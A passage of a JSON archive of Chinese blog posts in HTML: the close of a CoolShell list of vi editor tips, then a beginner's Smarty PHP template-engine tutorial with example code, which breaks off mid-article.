    "content": "<html><body><p>下面是一些vi的小技巧。</p>\n<p style=\"padding-left: 30px;\"><strong>:sp &lt;filename&gt;<br/>\n</strong> 打开一个文件，并和当前打开的文件分屏显示。</p>\n<p style=\"padding-left: 30px;\"><strong>Ctrl+W+W<br/>\n</strong>在分屏显示中的不同文件中切换。</p>\n<p style=\"padding-left: 30px;\"><strong>*</strong><br/>\n向前搜索目前光标所在的单词。</p>\n<p style=\"padding-left: 30px;\"><strong>#</strong><br/>\n向后搜索目前光标所在的单词。</p>\n<p style=\"padding-left: 30px;\"><strong>:%s/word1/word2/g<br/>\n</strong>全文搜索word1并以word2替换之。</p>\n<p style=\"padding-left: 30px;\"><strong>:’a,’bs/word1/word2/g</strong><br/>\n仅在第a行到第b行间搜索并替换。</p>\n<p style=\"padding-left: 30px;\"><span id=\"more-556\"></span></p>\n<p style=\"padding-left: 30px;\"><strong>:!&lt;command&gt;</strong><br/>\n执行一个Shell命令。</p>\n<p style=\"padding-left: 30px;\"><strong>:!javac %</strong><br/>\n使用%可以表示当前文件名。比如：sample.java，以达到编译的目的。</p>\n<p style=\"padding-left: 30px;\"><strong>:sh</strong><br/>\n启运一个shell而不退出vi。exit 命令后回到vi.</p>\n<p style=\"padding-left: 30px;\"><strong>:line_number</strong><br/>\n冒号后跟数字表示要到第几行，如果跟1，表示到文件头，如果跟$，表示到文件尾。</p>\n<p style=\"padding-left: 30px;\"><strong>Ctrl+G</strong><br/>\n可以显示当前行在整个文件的百分比。</p>\n<p style=\"padding-left: 30px;\"><strong>&lt;number&gt;<br/>\n</strong>重复一个命令number次。比如先输入50，然后输入dd，表示删除50行。</p>\n<p style=\"padding-left: 30px;\"><strong>yy</strong><br/>\n拷贝一个行到VI的剪贴版。</p>\n<p style=\"padding-left: 30px;\"><strong>p<br/>\n</strong>粘贴VI</p>\n<p style=\"padding-left: 30px;\"><strong>&gt;&gt; 和 &lt;&lt;<br/>\n</strong>用于向右或右左的缩进。</p>\n<p style=\"padding-left: 30px;\"><strong>u<br/>\n</strong>undo上一次改变。</p>\n<p style=\"padding-left: 30px;\"><strong>U<br/>\n</strong>undo当前行所有的改变。</p>\n<p style=\"padding-left: 30px;\"><strong>Ctrl + R</strong><br/>\nredo被undo了的改变。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7166.html\"><img alt=\"游戏：VIM大冒险\" height=\"150\" src=\"../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7166.html\">游戏：VIM大冒险</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3125.html\"><img alt=\"主流文本编辑器学习曲线\" height=\"150\" src=\"../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3125.html\">主流文本编辑器学习曲线</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3083.html\"><img alt=\"三个教程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3083.html\">三个教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3013.html\"><img alt=\"一些非常有意思的杂项资源\" height=\"150\" src=\"../wp-content/uploads/2010/09/biolab-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3013.html\">一些非常有意思的杂项资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/894.html\"><img alt=\"将vim变得简单:如何在vim中得到你最喜爱的IDE特性\" height=\"150\" src=\"../wp-content/uploads/2009/05/vimtxt_gvim_ars-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/894.html\">将vim变得简单:如何在vim中得到你最喜爱的IDE特性</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/766.html\"><img alt=\"让Ruby增加30%的性能改进\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/766.html\">让Ruby增加30%的性能改进</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/556.html\">VI的一些小技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-4-17 菜鸟学PHP之Smarty入门.html",
    "content": "<html><body><p>　　刚开始接触模版引擎的 PHP 设计师，听到 Smarty 时，都会觉得很难。其实笔者也不例外，碰都不敢碰一下。但是后来在剖析 XOOPS 的程序架构时，开始发现 Smarty 其实并不难。只要将 Smarty 基础功练好，在一般应用上就已经相当足够了。当然基础能打好，后面的进阶应用也就不用怕了。<br/>\n　　<br/>\n　　这篇文章的主要用意并非要深入探讨 Smarty 的使用，这在<span class=\"t_tag\">官方</span>使用说明中都已经写得很完整了。笔者仅在此写下一些自己使用上的心得，让想要了解 Smarty 却不得其门而入的<span class=\"t_tag\">朋友</span>，可以从中得到一些启示。就因为这篇文章的内容不是非常深入，会使用 Smarty 的朋友们可能会觉得简单了点。<br/>\n　　<br/>\n<span id=\"more-559\"></span>　<br/>\n　　<strong>Smarty介绍<br/>\n　　<br/>\n　　什么是模版引擎</strong><br/>\n　　<br/>\n　　不知道从什么时候开始，有人开始对 HTML 内嵌入 Server Script 觉得不太满意。然而不论是微软的 ASP 或是开放<span class=\"t_tag\">源码</span>的 PHP，都是属于内嵌 Server Script 的<span class=\"t_tag\">网页</span>伺服端语言。因此也就有人想到，如果能把程序应用逻辑 (或称商业应用逻辑) 与网页呈现 (Layout) 逻辑分离的话，是不是会比较好呢？<br/>\n　　<br/>\n　　其实这个问题早就存在已久，从交互式网页开始风行时，不论是 ASP 或是 PHP 的使用者都是身兼程序开发者与视觉设计师两种身份。可是通常这些使用者不是程序强就是美工强，如果要两者同时兼顾，那可得死掉不少脑细胞…<br/>\n　　<br/>\n　　所以模版引擎就应运而生啦！模版引擎的目的，就是要达到上述提到的逻辑分离的<span class=\"t_tag\">功能</span>。它能让程序开发者专注于资料的控制或是功能的达成；而视觉设计师则可专注于网页排版，让网页看起来更具有专业感！因此模版引擎很适合公司的网站开发团队使用，使每个人都能发挥其专长！<br/>\n　　<br/>\n　　就笔者接触过的模版引擎来说，依资料呈现方式大概分成：需搭配程序处理的模版引擎和完全由模版本身自行决定的模版引擎两种形式。<br/>\n　　<br/>\n　　在需搭配程序处理的模版引擎中，程序开发者必须要负责变量的呈现逻辑，也就是说他必须把变量的内容在输出到模版前先处理好，才能做 assign 的工作。换句话说，程序开发者还是得多写一些程序来决定变量呈现的风貌。而完全由模版本身自行决定的模版引擎，它允许变量直接 assign 到模版中，让视觉设计师在设计模版时再决定变量要如何呈现。因此它就可能会有另一套属于自己的模版程序语法 (如 Smarty) ，以方便控制变量的呈现。但这样一来，视觉设计师也得学习如何使用模版语言。<br/>\n　　<br/>\n　　模版引擎的运作原理，首先我们先看看以下的运行图：<br/>\n　　 　<img alt=\"\" height=\"450\" src=\"http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.31.13.1.gif\" width=\"400\"/><br/>\n　　一般的模版引擎 (如 PHPLib) 都是在建立模版对象时取得要解析的模版，然后把变量套入后，透过 parse() 这个方法来解析模版，最后再将网页输出。<br/>\n　　 　<img alt=\"\" height=\"600\" src=\"http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.38.13.2.gif\" width=\"400\"/><br/>\n　　对 Smarty 的使用者来说，程序里也不需要做任何 parse 的动作了，这些 Smarty 自动会帮我们做。而且已经<span class=\"t_tag\">编译</span>过的网页，如果模版没有变动的话， Smarty 就自动跳过编译的动作，直接执行编译过的网页，以节省编译的时间。<br/>\n　　<br/>\n　　<strong>使用Smarty的一些概念</strong><br/>\n　　<br/>\n　　在一般模版引擎中，我们常看到区域的观念，所谓区块大概都会长成这样：<br/>\n　　&lt;!– START : Block name –&gt;<br/>\n　　区域内容<br/>\n　　&lt;!– END : Block name –&gt;<br/>\n　　<br/>\n　　这些区块大部份都会在 PHP 程序中以 if 或 for, while 来控制它们的显示状态，虽然模版看起来简洁多了，但只要一换了显示方式不同的模版， PHP 程序势必要再改一次！<br/>\n　　<br/>\n　　在 Smarty 中，一切以变量为主，所有的呈现逻辑都让模版自行控制。因为 Smarty 会有自己的模版语言，所以不管是区块是否要显示还是要重复，都是用 Smarty 的模版语法 (if, foreach, section) 搭配变量内容作呈现。这样一来感觉上好象模版变得有点复杂，但好处是只要规划得当， PHP 程序一行都不必改。<br/>\n　　<br/>\n　　由上面的说明，我们可以知道使用Smarty 要掌握一个原则：将程序应用逻辑与网页呈现逻辑明确地分离。就是说 PHP 程序里不要有太多的 HTML 码。程序中只要决定好那些变量要塞到模版里，让模版自己决定该如何呈现这些变量 (甚至不出现也行) 。<br/>\n　　<br/>\n　　<strong>Smarty的基础<br/>\n　　<br/>\n　　安装Smarty</strong><br/>\n　　<br/>\n　　首先，我们先决定程序放置的位置。<br/>\n　　<br/>\n　　<a href=\"http://windows.chinaitlab.com/\" target=\"_blank\"><span style=\"color: #0000ff;\">Windows</span></a>下可能会类似这样的位置：「 d:\\appserv\\web\\demo\\ 」。<br/>\n　　<br/>\n　　Linux下可能会类似这样的位置：「 /home/jaceju/public_html/ 」。<br/>\n　　<br/>\n　　到Smarty的官方网站<a href=\"http://download.chinaitlab.com/\" target=\"_blank\"><span style=\"color: #0000ff;\"><span class=\"t_tag\">下载</span></span></a>最新的Smarty套件：<a href=\"http://smarty.php.net/\" target=\"_blank\">http://smarty.php.net</a>。<br/>\n　　<br/>\n　　解开 Smarty 2.6.0 后，会看到很多档案，其中有个 libs 资料夹。在 libs 中应该会有 3 个 class.php 檔 + 1 个 debug.tpl + 1 个 plugin 资料夹 + 1 个 core 资料夹。然后直接将 libs 复制到您的程序主资料夹下，再更名为 class 就可以了。就这样？没错！这种安装法比较简单，适合一般没有自己主机的使用者。<br/>\n　　<br/>\n　　至于 Smarty 官方手册中为什么要介绍一些比较复杂的安装方式呢？基本上依照官方的方式安装，可以只在主机安装一次，然后提供给该主机下所有设计者开发不同程序时直接引用，而不会重复安装太多的 Smarty 复本。而笔者所提供的方式则是适合要把程序带过来移过去的程序开发者使用，这样不用烦恼主机有没有安装 Smarty 。<br/>\n　　<br/>\n　　<strong>程序的资料夹设定</strong><br/>\n　　<br/>\n　　以笔者在<a href=\"http://windows.chinaitlab.com/\" target=\"_blank\"><span style=\"color: #0000ff;\">Windows</span></a>安装Appserv为例，程序的主资料夹是「d:\\appserv\\web\\demo\\」。安装好Smarty后，我们在主资料夹下再建立这样的资料夹：<br/>\n　　 　<img alt=\"\" height=\"135\" src=\"http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.46.13.3.gif\" width=\"156\"/><br/>\n　　在 Linux 底下，请记得将 templates_c 的权限变更为 777 。Windows 下则将其只读取消。<br/>\n　　<br/>\n　　<strong>第一个用Smarty写的小程序</strong><br/>\n　　<br/>\n　　我们先设定 Smarty 的路径，请将以下这个档案命名为 main.php ，并放置到主资料夹下：<br/>\n　　<br/>\n　　main.php:</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　include \"class/Smarty.class.php\";\n　　define('__SITE_ROOT', 'd:/appserv/web/demo'); // 最后没有斜线\n　　$tpl = new Smarty();\n　　$tpl-&gt;template_dir = __SITE_ROOT . \"/templates/\";\n　　$tpl-&gt;compile_dir = __SITE_ROOT . \"/templates_c/\";\n　　$tpl-&gt;config_dir = __SITE_ROOT . \"/configs/\";\n　　$tpl-&gt;cache_dir = __SITE_ROOT . \"/cache/\";\n　　$tpl-&gt;left_delimiter = '&lt;{';\n　　$tpl-&gt;right_delimiter = '}&gt;';\n　　?&gt;\n　　</pre>\n<p>　　照上面方式设定的用意在于，程序如果要移植到其它地方，只要改 __SITE_ROOT 就可以啦。 (这里是参考 XOOPS 的 )<br/>\n　　<br/>\n　　Smarty 的模版路径设定好后，程序会依照这个路径来抓所有模版的相对位置 (范例中是 ‘d:/appserv/web/demo/templates/’ ) 。然后我们用 display() 这个 Smarty 方法来显示我们的模版。<br/>\n　　<br/>\n　　接下来我们在 templates 资料夹下放置一个 test.htm：(扩展名叫什么都无所谓，但便于视觉设计师开发，笔者都还是以 .htm 为主。)<br/>\n　　<br/>\n　　templates/test.htm:</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=big5\"&gt;\n　　&lt;title&gt;&lt;{$title}&gt;&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　&lt;{$content}&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　现在我们要将上面的模版显示出来，并将网页标题 ($title) 与内容 ($content) 更换，请将以下档案内容命名为 test.php ，并放置在主资料夹下：<br/>\n　　<br/>\n　　test.php:</p>\n<p>       </p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require \"main.php\";\n　　$tpl-&gt;assign(\"title\", \"测试用的网页标题\");\n　　$tpl-&gt;assign(\"content\", \"测试用的网页内容\");\n　　// 上面两行也可以用这行代替\n　　// $tpl-&gt;assign(array(\"title\" =&gt; \"测试用的网页标题\", \"content\" =&gt; \"测试用的网页内容\"));\n　　$tpl-&gt;display('test.htm');\n　　?&gt;\n　　</pre>\n<p>　　请打开浏览器，输入 http://localhost/demo/test.php 试试看(依您的环境决定网址)，应该会看到以下的画面：<br/>\n　　 　<img alt=\"\" height=\"217\" src=\"http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.52.13.4.gif\" width=\"287\"/><br/>\n　　再到 templates_c 底下，我们会看到一个奇怪的资料夹 (%%179) ，再点选下去也是一个奇怪的资料夹 (%%1798044067) ，而其中有一个档案：<br/>\n　　<br/>\n　　templates_c/%%179/%%1798044067/test.htm.php:</p>\n<p>        </p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php /* Smarty version 2.6.0, created on 2003-12-15 22:19:45 compiled from test.htm */ ?&gt;\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=big5\"&gt;\n　　&lt;title&gt;&lt;?php echo $this-&gt;_tpl_vars['title']; ?&gt;&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　&lt;?php echo $this-&gt;_tpl_vars['content']; ?&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　没错，这就是 Smarty 编译过的档案。它将我们在模版中的变量转换成了 PHP 的语法来执行，下次再读取同样的内容时， Smarty 就会直接抓取这个档案来执行了。<br/>\n　　<br/>\n　　最后我们整理一下整个 Smarty 程序撰写步骤：<br/>\n　　<br/>\n　　Step 1. 加载 Smarty 模版引擎。<br/>\n　　<br/>\n　　Step 2. 建立 Smarty 对象。<br/>\n　　<br/>\n　　Step 3. 设定 Smarty 对象的参数。<br/>\n　　<br/>\n　　Step 4. 在程序中处理变量后，再用 Smarty 的 assign 方法将变量置入模版里。<br/>\n　　<br/>\n　　Step 5. 利用 Smarty 的 display 方法将网页秀出。<br/>\n　　<br/>\n　　<strong>如何安排你的程序架构</strong><br/>\n　　<br/>\n　　上面我们看到除了 Smarty 所需要的资料夹外 (class 、 configs 、 templates 、 templates_c) ，还有两个资料夹： includes 、 modules 。其实这是笔者模仿 XOOPS 的架构所建立出来的，因为 XOOPS 是笔者所接触到的程序中，少数使用 Smarty 模版引擎的架站程序。所谓西瓜偎大边，笔者这样的程序架构虽没有 XOOPS 的百分之一强，但至少给人看时还有 XOOPS 撑腰。<br/>\n　　<br/>\n　　includes 这个资料夹主要是用来放置一些 function 、 sql 檔，这样在 main.php 就可以将它们引入了，如下：<br/>\n　　<br/>\n　　main.php:<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　include \"class/Smarty.class.php\";\n　　define('__SITE_ROOT', 'd:/appserv/web/demo'); // 最后没有斜线\n　　// 以 main.php 的位置为基准\n　　require_once \"includes/functions.php\";\n　　require_once \"includes/include.php\";\n　　$tpl = new Smarty();\n　　$tpl-&gt;template_dir = __SITE_ROOT . \"/templates/\";\n　　$tpl-&gt;compile_dir = __SITE_ROOT . \"/templates_c/\";\n　　$tpl-&gt;config_dir = __SITE_ROOT . \"/configs/\";\n　　$tpl-&gt;cache_dir = __SITE_ROOT . \"/cache/\";\n　　$tpl-&gt;left_delimiter = '&lt;{';\n　　$tpl-&gt;right_delimiter = '}&gt;';\n　　?&gt;\n　　</pre>\n<p>　　modules 这个资料夹则是用来放置程序模块的，如此一来便不会把程序丢得到处都是，整体架构一目了然。<br/>\n　　<br/>\n　　上面我们也提到 main.php ，这是整个程序的主要核心，不论是常数定义、外部程序加载、共享变量建立等，都是在这里开始的。所以之后的模块都只要将这个档案包含进来就可以啦。因此在程序流程规划期间，就必须好好构思 main.php 中应该要放那些东西；当然利用 include 或 require 指令，把每个环节清楚分离是再好不过了。<br/>\n　　 　<img alt=\"\" height=\"310\" src=\"http://linux.chinaitlab.com/imgfiles/2005.11.30.14.32.59.13.5.gif\" width=\"180\"/><br/>\n　　在上节提到的 Smarty 程序 5 步骤， main.php 就会帮我们先将前 3 个步骤做好，后面的模块程序只要做后面两个步骤就可以了。<br/>\n　　<br/>\n　　<strong>从变量开始</strong><br/>\n　　<br/>\n　　如何使用变量<br/>\n　　<br/>\n　　从上一章范例中，我们可以清楚地看到我们利用 &lt;{ 及 }&gt; 这两个标示符号将变量包起来。预设的标示符号为 { 及 } ，但为了中文冲码及 <a href=\"http://java.chinaitlab.com/\" target=\"_blank\"><span style=\"color: #0000ff;\">Java</span></a>script 的关系，因此笔者还是模仿 XOOPS ，将标示符号换掉。变量的命名方式和 PHP 的变量命名方式是一模一样的，前面也有个 $ 字号 (这和一般的模版引擎不同)。标示符号就有点像是 PHP 中的 &lt;?php 及 ?&gt; (事实上它们的确会被替换成这个) ，所以以下的模版变量写法都是可行的：<br/>\n　　<br/>\n　　1. &lt;{$var}&gt;<br/>\n　　<br/>\n　　2. &lt;{ $var }&gt; &lt;!– 和变量之间有空格 –&gt;<br/>\n　　<br/>\n　　3. &lt;{$var<br/>\n　　<br/>\n　　}&gt; &lt;!– 启始的标示符号和结束的标示符号不在同一行 –&gt;<br/>\n　　在 Smarty 里，变量预设是全域的，也就是说你只要指定一次就好了。指定两次以上的话，变量内容会以最后指定的为主。就算我们在主模版中加载了外部的子模版，子模版中同样的变量一样也会被替代，这样我们就不用再针对子模版再做一次解析的动作。<br/>\n　　<br/>\n　　而在 PHP 程序中，我们用 Smarty 的 assign 来将变量置放到模版中。 assign 的用法官方手册中已经写得很多了，用法就如同上一节的范例所示。不过在重复区块时，我们就必须将变量做一些手脚后，才能将变量 assign 到模版中，这在下一章再提。<br/>\n　　<br/>\n　　<strong>修饰你的变量</strong><br/>\n　　<br/>\n　　上面我们提到 Smarty 变量呈现的风貌是由模版自行决定的，所以 Smarty 提供了许多修饰变量的函式。使用的方法如下：<br/>\n　　<br/>\n　　&lt;{变量|修饰函式}&gt; &lt;!– 当修饰函式没有参数时 –&gt;<br/>\n　　<br/>\n　　&lt;{变量|修饰函式:”参数(非必要，视函式而定)”}&gt; &lt;!– 当修饰函式有参数时 –&gt;<br/>\n　　范例如下：<br/>\n　　<br/>\n　　&lt;{$var|nl2br}&gt; &lt;!– 将变量中的换行字符换成 &lt;br /&gt; –&gt;<br/>\n　　<br/>\n　　&lt;{$var|string_format:”%02d”}&gt; &lt;!– 将变量格式化 –&gt;<br/>\n　　好，那为什么要让模版自行决定变量呈现的风貌？先看看底下的 HTML ，这是某个购物车结帐的部份画面。<br/>\n　　<br/>\n　　&lt;input name=”total” type=”hidden” value=”21000″ /&gt;<br/>\n　　<br/>\n　　总金额：21,000 元<br/>\n　　一般模版引擎的模版可能会这样写：<br/>\n　　<br/>\n　　&lt;input name=”total” type=”hidden” value=”{total}” /&gt;<br/>\n　　<br/>\n　　总金额：{format_total} 元<br/>\n　　它们的 PHP 程序中要这样写：<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　$total = 21000;\n　　$tpl-&gt;assign(\"total\", $total);\n　　$tpl-&gt;assign(\"format_total\", number_format($total));\n　　?&gt;\n　　</pre>\n<p>　　而 Smarty 的模版就可以这样写： (number_format 修饰函式请到Smarty 官方网页<a href=\"http://download.chinaitlab.com/\" target=\"_blank\"><span style=\"color: #0000ff;\">下载</span></a>)<br/>\n　　<br/>\n　　&lt;input name=”total” type=”hidden” value=”&lt;{$total}&gt;” /&gt;<br/>\n　　<br/>\n　　总金额：&lt;{$total|number_format:””}&gt; 元<br/>\n　　Smarty 的 PHP 程序中只要这样写：<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　$total = 21000;\n　　$tpl-&gt;assign(\"total\", $total);\n　　?&gt;\n　　</pre>\n<p>　　所以在 Smarty 中我们只要指定一次变量，剩下的交给模版自行决定即可。这样了解了吗？这就是让模版自行决定变量呈现风貌的好处！<br/>\n　　<br/>\n　　<strong>控制模版的内容<br/>\n　　<br/>\n　　重复的区块</strong><br/>\n　　<br/>\n　　在 Smarty 样板中，我们要重复一个区块有两种方式： foreach 及 section 。而在程序中我们则要 assign 一个数组，这个数组中可以包含数组数组。就像下面这个例子：<br/>\n　　<br/>\n　　首先我们来看 PHP 程序是如何写的：<br/>\n　　<br/>\n　　test2.php:<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require \"main.php\";\n　　$array1 = array(1 =&gt; \"苹果\", 2 =&gt; \"菠萝\", 3 =&gt; \"香蕉\", 4 =&gt; \"芭乐\");\n　　$tpl-&gt;assign(\"array1\", $array1);\n　　$array2 = array(\n　　array(\"index1\" =&gt; \"data1-1\", \"index2\" =&gt; \"data1-2\", \"index3\" =&gt; \"data1-3\"),\n　　array(\"index1\" =&gt; \"data2-1\", \"index2\" =&gt; \"data2-2\", \"index3\" =&gt; \"data2-3\"),\n　　array(\"index1\" =&gt; \"data3-1\", \"index2\" =&gt; \"data3-2\", \"index3\" =&gt; \"data3-3\"),\n　　array(\"index1\" =&gt; \"data4-1\", \"index2\" =&gt; \"data4-2\", \"index3\" =&gt; \"data4-3\"),\n　　array(\"index1\" =&gt; \"data5-1\", \"index2\" =&gt; \"data5-2\", \"index3\" =&gt; \"data5-3\"));\n　　$tpl-&gt;assign(\"array2\", $array2);\n　　$tpl-&gt;display(\"test2.htm\");\n　　?&gt;\n　　</pre>\n<p>　　而模版的写法如下：<br/>\n　　<br/>\n　　templates/test2.htm:<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;meta http-equiv=\"Content-Type\" content=\"text/html; charset=big5\"&gt;\n　　&lt;title&gt;测试重复区块&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　\n&lt;pre&gt;\n　　利用 foreach 来呈现 array1\n　　&lt;{foreach item=item1 from=$array1}&gt;\n　　&lt;{$item1}&gt;\n　　&lt;{/foreach}&gt;\n　　利用 section 来呈现 array1\n　　&lt;{section name=sec1 loop=$array1}&gt;\n　　&lt;{$array1[sec1]}&gt;\n　　&lt;{/section}&gt;\n　　利用 foreach 来呈现 array2\n　　&lt;{foreach item=index2 from=$array2}&gt;\n　　&lt;{foreach key=key2 item=item2 from=$index2}&gt;\n　　&lt;{$key2}&gt;: &lt;{$item2}&gt;\n　　&lt;{/foreach}&gt;\n　　&lt;{/foreach}&gt;\n　　利用 section 来呈现 array1\n　　&lt;{section name=sec2 loop=$array2}&gt;\n　　index1: &lt;{$array2[sec2].index1}&gt;\n　　index2: &lt;{$array2[sec2].index2}&gt;\n　　index3: &lt;{$array2[sec2].index3}&gt;\n　　&lt;{/section}&gt;\n　　&lt;/pre&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　执行上例后，我们发现不管是 foreach 或 section 两个执行结果是一样的。那么两者到底有何不同呢？<br/>\n　　<br/>\n　　第一个差别很明显，就是foreach 要以巢状处理的方式来呈现我们所 assign 的两层数组变量，而 section 则以「主数组[循环名称].子数组索引」即可将整个数组呈现出来。由此可知， Smarty 在模版中的 foreach 和 PHP 中的 foreach 是一样的；而 section 则是 Smarty 为了处理如上列的数组变量所发展出来的叙述。当然 section 的功能还不只如此，除了下一节所谈到的巢状资料呈现外，官方手册中也提供了好几个 section 的应用范例。<br/>\n　　<br/>\n　　不过要注意的是，丢给 section 的数组索引必须是从 0 开始的正整数，即 0, 1, 2, 3, …。如果您的数组索引不是从 0 开始的正整数，那么就得改用 foreach 来呈现您的资料。您可以参考官方讨论区中的此篇讨论，其中探讨了 section 和 foreach 的用法。<br/>\n　　<br/>\n　　<strong>巢状资料的呈现</strong><br/>\n　　<br/>\n　　模版引擎里最令人伤脑筋的大概就是巢状资料的呈现吧，许多著名的模版引擎都会特意强调这点，不过这对 Smarty 来说却是小儿科。<br/>\n　　<br/>\n　　最常见到的巢状资料，就算论譠程序中的讨论主题区吧。假设要呈现的结果如下：<br/>\n　　<br/>\n　　公告区<br/>\n　　<br/>\n　　站务公告<br/>\n　　<br/>\n　　文学专区<br/>\n　　<br/>\n　　好书介绍<br/>\n　　<br/>\n　　奇文共赏<br/>\n　　<br/>\n　　计算机专区<br/>\n　　<br/>\n　　硬件外围<br/>\n　　<br/>\n　　<span class=\"t_tag\">软件</span>讨论<br/>\n　　<br/>\n　　程序中我们先以静态资料为例：<br/>\n　　<br/>\n　　test3.php:<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;?php\n　　require \"main.php\";\n　　$forum = array(\n　　array(\"category_id\" =&gt; 1, \"category_name\" =&gt; \"公告区\",\n　　\"topic\" =&gt; array(\n　　array(\"topic_id\" =&gt; 1, \"topic_name\" =&gt; \"站务公告\")\n　　)\n　　),\n　　array(\"category_id\" =&gt; 2, \"category_name\" =&gt; \"文学专区\",\n　　\"topic\" =&gt; array(\n　　array(\"topic_id\" =&gt; 2, \"topic_name\" =&gt; \"好书介绍\"),\n　　array(\"topic_id\" =&gt; 3, \"topic_name\" =&gt; \"奇文共赏\")\n　　)\n　　),\n　　array(\"category_id\" =&gt; 3, \"category_name\" =&gt; \"计算机专区\",\n　　\"topic\" =&gt; array(\n　　array(\"topic_id\" =&gt; 4, \"topic_name\" =&gt; \"硬件外围\"),\n　　array(\"topic_id\" =&gt; 5, \"topic_name\" =&gt; \"软件讨论\")\n　　)\n　　)\n　　);\n　　$tpl-&gt;assign(\"forum\", $forum);\n　　$tpl-&gt;display(\"test3.htm\");\n　　?&gt;\n　　</pre>\n<p>　　模版的写法如下：<br/>\n　　<br/>\n　　templates/test3.htm:<br/>\n　　</p>\n<pre class=\"EnlighterJSRAW\">\n　　&lt;html&gt;\n　　&lt;head&gt;\n　　&lt;title&gt;巢状循环测试&lt;/title&gt;\n　　&lt;/head&gt;\n　　&lt;body&gt;\n　　\n&lt;table width=\"200\" border=\"0\" align=\"center\" cellpadding=\"3\" cellspacing=\"0\"&gt;\n　　&lt;{section name=sec1 loop=$forum}&gt;\n　　\n&lt;tr&gt;\n　　\n&lt;td colspan=\"2\"&gt;&lt;{$forum[sec1].category_name}&gt;&lt;/td&gt;\n　　&lt;/tr&gt;\n　　&lt;{section name=sec2 loop=$forum[sec1].topic}&gt;\n　　\n&lt;tr&gt;\n　　\n&lt;td width=\"25\"&gt;&lt;/td&gt;\n　　\n&lt;td width=\"164\"&gt;&lt;{$forum[sec1].topic[sec2].topic_name}&gt;&lt;/td&gt;\n　　&lt;/tr&gt;\n　　&lt;{/section}&gt;\n　　&lt;{/section}&gt;\n　　&lt;/table&gt;\n　　&lt;/body&gt;\n　　&lt;/html&gt;\n　　</pre>\n<p>　　执行的结果就像笔者举的例子一样。<br/>\n　　<br/>\n　　因此呢，在程序中我们只要想<span class=\"t_tag\">办法</span>把所要重复值一层一层的塞到数组中，再利用 &lt;{第一层数组[循环1].第二层数组[循环2].第三层数组[循环3]. … .数组索引}&gt; 这样的方式来显示每一个巢状循环中的值。至于用什么方法呢？下一节使用<span class=\"t_tag\">数据库</span>时我们再提。<br/>\n　　<br/>\n　　<strong>转换<span class=\"t_tag\">数据</span>库中的资料</strong><br/>\n　　<br/>\n　　